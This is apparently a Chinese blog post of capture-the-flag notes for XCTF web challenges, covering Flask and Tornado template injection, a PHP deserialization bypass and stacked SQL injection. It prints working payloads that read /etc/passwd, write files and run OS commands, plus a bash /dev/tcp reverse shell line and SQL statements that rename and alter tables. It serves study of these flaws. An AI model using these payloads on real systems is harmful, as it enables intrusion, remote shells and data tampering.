攻防世界web刷题笔记

SSTI(Web_python_template_injection,easytornado)

借刷题的机会学习一下漏洞
SSTI 是服务器端模板注入(Server-Side Template Injection)
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

深入理解:
从零开始学flask模板注入
ssti漏洞详解

flask的渲染方法有render_template和render_template_string两种。
前者渲染文件,后者渲染字符串
利用 {{ - - - }} 执行语句
在这里插入图片描述

通过沙箱逃逸来解题
在这里插入图片描述在这里插入图片描述
简单payload利用:

>>> ''.__class__
<type 'str'>
>>> ''.__class__.__mro__
(<type 'str'>, <type 'basestring'>, <type 'object'>)
>>> ''.__class__.__mro__[2].__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, <type 'int'>, <type 'basestring'>, <type 'bytearray'>, <type 'list'>, <type 'NoneType'>, <type 'NotImplementedType'>, <type 'traceback'>, <type 'super'>, <type 'xrange'>, <type 'dict'>, <type 'set'>, <type 'slice'>, <type 'staticmethod'>, <type 'complex'>, <type 'float'>, <type 'buffer'>, <type 'long'>, <type 'frozenset'>, <type 'property'>, <type 'memoryview'>, <type 'tuple'>, <type 'enumerate'>, <type 'reversed'>, <type 'code'>, <type 'frame'>, <type 'builtin_function_or_method'>, <type 'instancemethod'>, <type 'function'>, <type 'classobj'>, <type 'dictproxy'>, <type 'generator'>, <type 'getset_descriptor'>, <type 'wrapper_descriptor'>, <type 'instance'>, <type 'ellipsis'>, <type 'member_descriptor'>, <type 'file'>, <type 'PyCapsule'>, <type 'cell'>, <type 'callable-iterator'>, <type 'iterator'>, <type 'sys.long_info'>, <type 'sys.float_info'>, <type 'EncodingMap'>, <type 'fieldnameiterator'>, <type 'formatteriterator'>, <type 'sys.version_info'>, <type 'sys.flags'>, <type 'exceptions.BaseException'>, <type 'module'>, <type 'imp.NullImporter'>, <type 'zipimport.zipimporter'>, <type 'posix.stat_result'>, <type 'posix.statvfs_result'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class '_abcoll.Hashable'>, <type 'classmethod'>, <class '_abcoll.Iterable'>, <class '_abcoll.Sized'>, <class '_abcoll.Container'>, <class '_abcoll.Callable'>, <type 'dict_keys'>, <type 'dict_items'>, <type 'dict_values'>, <class 'site._Printer'>, <class 'site._Helper'>, <type '_sre.SRE_Pattern'>, <type '_sre.SRE_Match'>, <type '_sre.SRE_Scanner'>, <class 'site.Quitter'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>

看到第3个父类符合
可以看到第39个子类符合:<type ‘file’>

最终payload:

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
()..__class__.__bases__[0].__subclasses__()[40]('/etc/passwd').read()
object.__subclasses__()[40]('/etc/passwd').read()

写入文件payload:

''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
().__class__.__bases__[0].__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')
object.__subclasses__()[40]('/tmp/evil.txt', 'w').write('evil code')

RCE payload:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()

# eval
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.eval("__import__('os').popen('id').read()")
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls  /var/www/html").read()' )

#__import__
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

反弹shell:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('bash -i >& /dev/tcp/你的服务器地址/端口 0>&1').read()

需要bp的协助:
在这里插入图片描述对某些关键字可能会禁用:绕过

自动化工具:tqlmap(待实践)

解答:
第一题:

Web_python_template_injection

在这里插入图片描述提示了模块注入,即ssti
利用{{ - - -}}找到引用:

{{''.__class__.__mro__[2].__subclasses__()}}

在这里插入图片描述执行os命令:

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}

在这里插入图片描述找到flag
查看:

{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g ').read()}}

在这里插入图片描述第二题:

easytornado (render模板注入)

进去三个文件,都看一下
在这里插入图片描述提示文件名:/fllllllllllllag
在这里插入图片描述render是python中的一个渲染函数,渲染变量到模板中,即可以通过传递不同的参数形成不同的页面,可能与SSTI有关
在这里插入图片描述只需知道cookie_secret即可得到flag,得到filehash即可得到flag,而cookie_secret存在于环境变量中

在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler
指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量

在这里插入图片描述可以知道页面返回的值由msg决定
1构造payload:

error?msg={{handler.settings}}

在这里插入图片描述得到cookie:517cbcf4-102e-4a02-b766-774dae41c9db
再按照题目的提示即可得到flag:

在这里插入图片描述具体: python render 模板注入

反序列化(Web_php_unserialize)


> <?php  class Demo { 
>     private $file = 'index.php';
>     public function __construct($file) {  #构造函数,对类的变量进行初始化
>         $this->file = $file; 
>     }
>     function __destruct() {   #在对象所在函数执行完成之后,会自动调用,这里指输出file
>         echo @highlight_file($this->file, true); 
>     }
>     function __wakeup() {  #魔术方法,如果有反序列化的使用,在反序列化之前会先调用这个方法
>         if ($this->file != 'index.php') {   #如果页面不是index.php,就强制改成index.php.
>             //the secret is in the fl4g.php
>             $this->file = 'index.php'; 
>         } 
>     }  } if (isset($_GET['var'])) { 
>     $var = base64_decode($_GET['var']); 
>     if (preg_match('/[oc]:\d+:/i', $var)) {  # //正则匹配,如果在var变量中存在O/C:数字(O:数字或者C:数字这样的形式}),不区分大小写,就输出stop hacking!否则的话就进行发序列化
>         die('stop hacking!'); 
>     } else {
>         @unserialize($var); 
>     }  } else { 
>     highlight_file("index.php");  }  ?>

本题思路:

  • 对Demo这个类进行序列化,base64加密之后,赋值给var变量进行get传参就行了
  • 类Demo中有三个方法,一个构造,一个析构,还有就是一个魔术方法,构造函数__construct()在程序执行开始的时候对变量进行赋初值。析构函数__destruct(),在对象所在函数执行完成之后,会自动调用,这里就会显示出文件。
  • 在反序列化执行之前,会先执行__wakeup这个魔术方法,所以需要绕过,当成员属性数目大于实际数目时可绕过wakeup方法,正则匹配可以用+号来进行绕过。

在这里插入图片描述得到序列化后的内容:

这里的 file变量为私有变量,会自动调用后续函数的值,而公有变量则不可以,而因此序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大2,如果将序列化结果复制到在线的base64网站进行编码可能就会丢掉空白字符,所以这里直接在 php 代码里进行编码。
类似的还有protected类型的变量,序列化之后字符串首部会加上%00*%00。

为什么可以用+绕过正则表达式,下面文章是详解:
正则表达式理解
为什么可以用+绕过正则表达式的限制
在这里插入图片描述

使用php编码:

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
 $a= serialize(new demo('fl4g.php')); //创建一个新的变量fl4g.php并序列化
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$a= str_replace('O:4', 'O:+4',$a); //用“+”绕过preg_match
$a= str_replace(':1:', ':4:',$a); //把对象个数从1变成大于1的个数绕过wakeup
echo base64_encode($a); //加密
?>

1得到base64转码:

TzorNDoiRGVtbyI6NDp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

在这里插入图片描述至index.php文件夹下(绕过if中的代码),再利用var传参得到flag

堆叠注入(supersqli)

  • 输入 ’ 判断是否插入了数据库,即判断是否有sql注入的问题存在,为MariaDB数据库。

在这里插入图片描述

  • 猜字段 1’ order by 3 得到位置字段,知道有两个字段
    在这里插入图片描述
  • 输入 1’ union select 1,database()
    在这里插入图片描述得知过滤了很多关键字,可以使用堆叠注入
    堆叠注入详解

web系统中,因为代码通常只返回一个查询结果,因此,堆叠注入第二个语句产生错误或者结果只能被忽略,我们在前端界面是无法看到返回结果的。因此,在读取数据时,建议使用union(联合)注入。
oracle不能使用堆叠注入,当有两条语句在同一行时,直接报错。

  • 显示所有数据库,而不是当前数据库(database())

’ ;show databases; #

在这里插入图片描述

  • 查看当前库中的表

'; show tables; #

在这里插入图片描述

  • 查看表中的字段

1’;show columns from 1919810931114514;#

在这里插入图片描述

  • 将字段打印出来

1.mysql中可以用handler(mysql的专用语句)查询
handler查询

1';handler `1919810931114514` open;handler `1919810931114514` read first;#

在这里插入图片描述2.根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id(利用默认表

1’;show columns from words;#

在这里插入图片描述
这道题没有禁用rename和alert,所以我们可以采用修改表结构的方法来得到flag ,将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段

 1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

再利用一个万能密码1’ or 1=1 # 即可得到flag:
在这里插入图片描述

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YnG_t0

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值